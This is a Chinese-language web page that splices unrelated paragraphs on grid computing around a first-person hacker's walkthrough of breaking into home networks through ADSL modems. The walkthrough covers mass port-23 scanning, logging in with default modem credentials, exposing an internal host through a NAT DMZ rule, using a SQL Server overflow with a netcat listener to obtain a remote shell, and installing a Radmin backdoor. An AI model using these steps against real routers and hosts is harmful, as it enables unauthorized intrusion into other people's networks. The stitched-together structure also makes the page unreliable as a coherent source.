|
網絡技術是從1990年代中期發展起來的新技術，它把互聯網上分散的資源融為有機整體，實現資源的全面共享和有機協作，使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享，網絡則被認為是互聯網發展的第三階段。 這是一位所謂的＂黑客＂的口述，你不妨看一下，也許你看完后對他的技術性做法不是完全明白，但是你肯定會感到一身冷汗，因為我們現在使用ADSL已經日益廣泛，但我們的安全意識還不是很強．聽完他的口述希望大家在日后能加強安全防范！ 口述： 也許看爛了網上已有的常規黑客攻擊手段，對一些陳舊的入侵手法早已厭煩，近來我對ADSL MODEM的路由功能產生了濃厚的興趣，經過一番努力，我終于找到了穿透ADSL路由入侵內網的方法，在這里和各位一起分享我的心得。 一．掃描 現在很多ADSL MODEM都是通過 80 23 21 三個端口來管理，但80 21端口有很多服務器都有打開，沒怎么特征性，于是我選擇了23端口，打開我的至愛：SUPPERSCAN，填上我所在地區的IP段，（跨多幾段都沒關系，反正SUPPERSCAN的速度就是快）眨眼間，結果出來了，開23的主機還真不小啊：）我挑了幾臺出來，在瀏覽器那里輸入IP：218.xxx.xxx.xxx，OK。登陸對話框出來了，輸入USER：ADSL pass:adsl1234（因為我這里的adsl modem一般是華碩的，缺省是adsl adsl1234）bingle 一矢中的，現在我就是上帝。 二．映射 入侵已經成功了一半，要進一步入侵內網，我們要進行端口映射，但是我連內網的拓撲，都不知道（更不用說內網主機的端口開放情況了）又怎么映射呢？在此，我選擇了猜測。一般來說，MODEM的內網IP缺省是192．168．1．1，而大多數就把自己主機的IP設成192.168.1.2。因此我們只要試試把192．168．1．2的端口映射出來就行了（但如果使用了dhcp就麻煩了）。但是192．168．1．2到底開放了什么端口，我們根本就不知道啊，呵呵，既然不知道，那么我就把他整臺主機透明地映射到外網，具體做法如下：進入NAT選項---添加NAT規則---BAMID---填入主機IP：192．168．1．2，到此192．168．1．2已經透明地映射到192．168．1．1上了，我們訪問ADSL MODEM就等于訪問主機192．168．1．2了 三．檢測 現在我們再請出SUPPERSCAN對218．xxx．xxx．xxx進行掃描，呵，看到沒有？掃描結果已經不同了，開放的端口是139 1433等，剛才只是開放了80 23 21 而已（也就是說我們的映射已經成功了）該是X-SCAN出手了，用它來掃弱口令最好不過了，但掃描的結果令人失望，一個弱口令也沒有，看來管理員還不算低B啊。 四．溢出 既然沒有弱口令，也沒開80，那只好從溢出方面著手了，但沒開80 21 也就webdav .sevr-u的溢出沒戲了，很自然，我向導了RPC溢出，但實踐證明RPC溢出也是不行的，LSASS溢出也不行 。 五．募然回首，那人卻在，燈火闌珊處 看來這管理員還是比較負責的，該打的補丁都打上了，這時侯，我的目光轉移到1433上了（嘿，不知道他打了SQL補丁沒有？）心動不如行動，現在只好死馬當活馬醫了，于是 nc -v -l 99 sql2 218.xxx.xxx.xxx 0 218.xxx.xxx.xxx 99 bingle 成功地得到一個shell了。 六．設置后門 到這里，我們的入侵已經成功了，余下的是掃尾留后門，至于后門，我一般都是用FTP上傳RADMIN上去的，呵呵，這里不詳談了，相信各位都知道。 網絡的神奇作用吸引著越來越多的用戶加入其中，正因如此，網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......，各項技術都需要適時應勢，對應發展，這正是網絡迅速走向進步的催化劑。 |
溫馨提示：喜歡本站的話，請收藏一下本站！
本站發布的Win7純凈版系統、Win10純凈版和XP純凈版系統僅為個人學習測試使用，請在下載后24小時內刪除，不得用于任何商業用途，否則后果自負，請支持購買微軟正版軟件！
本站所有資源全部來自于網絡資源,如侵犯到您的權益,請及時通知我們(),我們會及時處理.
Copyright © 2018-2020 蘿卜系統 手機站 關于本站
